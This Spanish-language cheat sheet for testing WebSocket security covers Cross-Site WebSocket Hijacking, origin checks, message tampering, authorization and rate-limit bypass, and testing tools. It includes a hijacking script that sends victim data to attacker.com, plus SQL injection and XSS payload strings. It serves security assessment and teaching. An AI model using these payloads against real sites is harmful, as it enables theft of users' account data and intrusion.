WebSocket Security

Los WebSockets son un punto ciego en la mayoría de los assessments.

🔌 WebSocket Security

Los WebSockets son un punto ciego en la mayoría de los assessments. El handshake es HTTP y hereda sus problemas de auth/origin, pero los desarrolladores suelen tratarlos como un protocolo aparte que “no necesita las mismas protecciones”.


Cómo funciona la auth (y falla)

Browser                    Server
   |  GET /ws HTTP/1.1       |
   |  Upgrade: websocket      |
   |  Origin: https://target  |
   |  Cookie: session=abc     |
   |------------------------->|
   |  101 Switching Protocols |
   |<-------------------------|
   |  {"action":"getMessages" |
   |   "userId":1337}         |
   |------------------------->|
   |  {"messages":[...]}      |
   |<-------------------------|

La auth ocurre una vez, en el handshake. Una vez abierto el túnel, no hay autenticación por mensaje.


Cross-Site WebSocket Hijacking (CSWSH)

CSRF para WebSockets. El navegador envía cookies con el handshake sin importar el origen:

<script>
  const ws = new WebSocket('wss://target.com/ws');
  ws.onopen = function() {
    // Conectado con las cookies de la víctima
    ws.send(JSON.stringify({action: 'getAccountData'}));
  };
  ws.onmessage = function(evt) {
    // Exfiltrar todo
    fetch('https://attacker.com/collect?data=' + btoa(evt.data));
  };
</script>

Prueba de origin

GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Origin: https://evil.com       # ← Cambiar
Cookie: session=abc123

Si devuelve 101 Switching Protocols → CSWSH viable.


Token-based handshake

Los tokens en URLs se filtran en logs del server:

wss://target.com/ws?token=eyJhbGc...
wss://target.com/ws?auth=SESSION_TOKEN

Probar: ¿el token rota por conexión? ¿Se puede reusar?


Message tampering

Modificar mensajes en tránsito con Burp Repeater:

// Original
{"action": "getMyMessages", "userId": 1337}

// Modificado
{"action": "getAllMessages", "userId": 0}
{"action": "getMessages", "userId": 1338}

SQLi via WebSocket

ws.send('{"search":"test\'"}');
ws.send('{"user_id":"1 AND 1=1"}');

XSS via WebSocket broadcast

Si el servidor retransmite mensajes sin sanitizar:

ws.send('{"message":"<img src=x onerror=alert(1)>"}');

Authorization bypass

Muchas apps autentican la conexión WebSocket una vez y nunca verifican permisos después:

// Probar acceder a canales que no te pertenecen
ws.send(JSON.stringify({action: 'subscribe', channel: 'admin-notifications'}));
ws.send(JSON.stringify({action: 'read', channel: 'other-user-private'}));

Rate limiting bypass

// WebSockets a menudo no tienen rate limit
for (let i = 0; i < 10000; i++) {
  ws.send(JSON.stringify({action: 'transfer', amount: 1, to: 'attacker'}));
}

Insecure ws://

# Probar conexión sin TLS
wscat -c ws://target.com/socket

# Si acepta → cualquier atacante en la misma red puede leer/modificar

Herramientas

# STEWS - Security Testing for WebSockets
python3 stews.py -u wss://target.com/socket --discovery
python3 stews.py -u wss://target.com/socket --fuzz

# wscat
npm install -g wscat
wscat -c wss://target.com/socket
wscat -c wss://target.com/socket -H "Cookie: session=abc123"

# Burp: Proxy → WebSockets history
# Burp Repeater: modificar mensajes WebSocket
# Turbo Intruder: fuzzing de mensajes

Checklist de prueba

  • Handshake sin Origin validation (CSWSH)
  • Per-message authorization
  • SQLi/XSS en mensajes
  • Rate limiting en mensajes
  • Tokens en URLs del handshake
  • Conexión ws:// insegura
  • Message tampering (IDs de otros usuarios)
  • Broadcast sin sanitizar (XSS almacenado)

CVEs

CVEAñoDescripción
CVE-2024-110452024CSWSH en stable-diffusion-webui
CVE-2026-226892026Mailpit CSWSH

Relacionado

  • Autenticacion Web — token-based WS handshake, session reuse
  • CORS Misconfiguration — Origin validation en handshake
  • CSRF moderno — CSWSH (Cross-Site WebSocket Hijacking)
  • NoSQL Injection — SQLi/NoSQLi vía mensajes WS
  • SSRF — WebSocket upgrade smuggling
  • Claude-BugHunter (skill hunt-websocket)